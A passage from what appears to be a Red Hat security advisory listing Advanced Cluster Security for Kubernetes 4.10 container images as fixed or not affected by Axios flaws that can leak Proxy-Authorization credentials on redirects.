| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
